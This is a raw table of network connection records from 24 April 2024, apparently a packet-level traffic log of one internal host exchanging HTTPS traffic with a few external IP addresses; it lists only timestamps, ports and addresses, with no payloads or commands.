Apr 24, 2024 15:43:19.150259972 CEST	443	49769	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.168108940 CEST	443	49768	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:19.172126055 CEST	49768	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:19.476016045 CEST	443	49768	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:19.476268053 CEST	443	49768	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:19.476466894 CEST	49768	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:19.477123022 CEST	49768	443	192.168.2.17	104.17.2.184
Apr 24, 2024 15:43:19.477145910 CEST	443	49768	104.17.2.184	192.168.2.17
Apr 24, 2024 15:43:19.521452904 CEST	443	49769	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.521508932 CEST	443	49769	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.521553040 CEST	443	49769	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.521636963 CEST	443	49769	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.521703005 CEST	49769	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.522999048 CEST	49769	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.522999048 CEST	49769	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.550864935 CEST	49770	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.550926924 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.551008940 CEST	49771	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.551038980 CEST	49770	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.551048040 CEST	443	49771	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.551121950 CEST	49771	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.551364899 CEST	49770	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.551381111 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.551513910 CEST	49771	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.551529884 CEST	443	49771	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.552139044 CEST	49772	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.552187920 CEST	443	49772	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.552251101 CEST	49772	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.552417994 CEST	49772	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.552431107 CEST	443	49772	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.838124037 CEST	49769	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.838161945 CEST	443	49769	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.880189896 CEST	443	49771	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.880453110 CEST	49771	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.880479097 CEST	443	49771	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.880929947 CEST	443	49771	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.881226063 CEST	49771	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.881284952 CEST	443	49771	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.881376028 CEST	49771	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.881409883 CEST	49771	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.881443977 CEST	443	49771	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.883573055 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.883750916 CEST	49770	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.883766890 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.884238958 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.884500980 CEST	49770	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.884568930 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.884593964 CEST	49770	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.885145903 CEST	443	49772	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.885317087 CEST	49772	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.885344982 CEST	443	49772	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.885807991 CEST	443	49772	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.886059999 CEST	49772	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.886133909 CEST	443	49772	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.886826992 CEST	49772	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.928116083 CEST	443	49772	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:19.932110071 CEST	49770	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:19.932133913 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.250602961 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.250824928 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.250905037 CEST	49770	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:20.250910997 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.250953913 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.251004934 CEST	49770	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:20.251040936 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.251197100 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.251250029 CEST	49770	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:20.251277924 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.251370907 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.251429081 CEST	49770	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:20.251441956 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.251872063 CEST	443	49772	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.251924992 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.251986980 CEST	49770	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:20.251997948 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.252027988 CEST	443	49772	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.252083063 CEST	49772	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:20.252245903 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.252315998 CEST	49770	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:20.252326965 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.252533913 CEST	49772	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:20.252557993 CEST	443	49772	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.252778053 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.252827883 CEST	49770	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:20.252840042 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.252923965 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.252995968 CEST	49770	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:20.252995968 CEST	49770	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:20.489439011 CEST	49699	80	192.168.2.17	23.204.146.147
Apr 24, 2024 15:43:20.553234100 CEST	49770	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:20.553307056 CEST	443	49770	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.649755001 CEST	80	49699	23.204.146.147	192.168.2.17
Apr 24, 2024 15:43:20.650068045 CEST	49699	80	192.168.2.17	23.204.146.147
Apr 24, 2024 15:43:20.755342960 CEST	443	49771	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.755409002 CEST	443	49771	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.755599022 CEST	49771	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:20.757199049 CEST	49771	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:20.757241011 CEST	443	49771	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.757978916 CEST	49773	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:20.758014917 CEST	443	49773	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:20.758105993 CEST	49773	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:20.758312941 CEST	49773	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:20.758330107 CEST	443	49773	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:21.094496012 CEST	443	49773	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:21.094851017 CEST	49773	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:21.094917059 CEST	443	49773	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:21.096054077 CEST	443	49773	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:21.096366882 CEST	49773	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:21.096503019 CEST	49773	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:21.096519947 CEST	443	49773	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:21.096560955 CEST	443	49773	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:21.143126965 CEST	49773	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:21.753062963 CEST	443	49773	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:21.753195047 CEST	443	49773	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:21.753283978 CEST	443	49773	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:21.753362894 CEST	49773	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:21.753366947 CEST	443	49773	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:21.753397942 CEST	443	49773	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:21.753422976 CEST	49773	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:21.753602028 CEST	443	49773	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:21.753660917 CEST	49773	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:21.754137993 CEST	49773	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:21.754170895 CEST	443	49773	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:21.771220922 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:21.771291018 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:21.771425962 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:21.771584988 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:21.771666050 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:21.771738052 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:21.771819115 CEST	49776	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:21.771855116 CEST	443	49776	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:21.771915913 CEST	49776	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:21.772070885 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:21.772094965 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:21.772206068 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:21.772222042 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:21.772330046 CEST	49776	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:21.772341967 CEST	443	49776	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.109066010 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.109513044 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.109534025 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.110001087 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.110301018 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.110405922 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.110431910 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.112371922 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.112565994 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.112585068 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.113120079 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.113151073 CEST	443	49776	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.113384962 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.113457918 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.113486052 CEST	49776	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.113493919 CEST	443	49776	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.113555908 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.114909887 CEST	443	49776	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.114989042 CEST	49776	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.115230083 CEST	49776	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.115309000 CEST	443	49776	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.115309954 CEST	49776	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.152165890 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.156157017 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.156214952 CEST	443	49776	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.164117098 CEST	49776	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.164117098 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.164129972 CEST	443	49776	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.212116957 CEST	49776	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.503794909 CEST	49777	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:43:22.503846884 CEST	443	49777	20.114.59.183	192.168.2.17
Apr 24, 2024 15:43:22.503954887 CEST	49777	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:43:22.504364014 CEST	49777	443	192.168.2.17	20.114.59.183
Apr 24, 2024 15:43:22.504379988 CEST	443	49777	20.114.59.183	192.168.2.17
Apr 24, 2024 15:43:22.778304100 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.778429031 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.778517008 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.778603077 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.778634071 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.778682947 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.778734922 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.778884888 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.778932095 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.778943062 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.779073954 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.779139042 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.779154062 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.779172897 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.779213905 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.779365063 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.779496908 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.779541969 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.779553890 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.780381918 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.780446053 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.780457020 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.780558109 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.780610085 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.780618906 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.781300068 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.781358004 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.781368017 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.781477928 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.781526089 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.781534910 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.782223940 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.782283068 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.782293081 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.783049107 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.783142090 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.783154011 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.783171892 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.783211946 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.783274889 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.783876896 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.783935070 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.783946037 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.784117937 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.784163952 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.784173965 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.784928083 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.784990072 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.785001040 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.786463976 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.786540031 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.786586046 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.786592960 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.786629915 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.786662102 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.786678076 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.786685944 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.786731958 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.786840916 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.787354946 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.787405014 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.787411928 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.787491083 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.787553072 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.787559986 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.788372040 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.788419008 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.788427114 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.788434029 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.788476944 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.788482904 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.789098978 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.789148092 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.789154053 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.789235115 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.789284945 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.789292097 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.791829109 CEST	443	49776	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.791974068 CEST	443	49776	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.792030096 CEST	49776	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.792037964 CEST	443	49776	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.792171001 CEST	443	49776	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.792220116 CEST	49776	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.792226076 CEST	443	49776	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.792336941 CEST	443	49776	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.792383909 CEST	49776	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.792391062 CEST	443	49776	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.792555094 CEST	443	49776	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.792614937 CEST	49776	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.792736053 CEST	49776	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.792749882 CEST	443	49776	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.831110001 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.831118107 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.831126928 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.831186056 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.879226923 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.879239082 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.924607992 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.924844980 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.924915075 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.924946070 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.925071955 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.925127029 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.925137997 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.925647020 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.925714970 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.925883055 CEST	49774	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.925909996 CEST	443	49774	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.939903975 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.939990044 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.940047026 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.940058947 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.940589905 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.940649033 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.940654993 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.941281080 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.941323042 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.941338062 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.941343069 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.941395998 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.941401005 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.942256927 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.942287922 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.942317009 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.942325115 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.942372084 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.942378044 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.943202972 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.943257093 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.943264008 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.943335056 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.943382978 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.943388939 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.944158077 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.944205046 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.944222927 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.944228888 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.944268942 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.944274902 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.945182085 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.945254087 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.945261002 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.945337057 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.946518898 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.946583033 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.946841002 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.946897984 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.947664022 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.947725058 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.948549986 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.948611975 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.948915958 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.948987007 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.949728966 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.949789047 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.949856997 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.949908972 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.949917078 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.950166941 CEST	49775	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:22.950207949 CEST	443	49775	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:22.950263023 CEST	49775	443	192.168.2.17	104.21.50.148
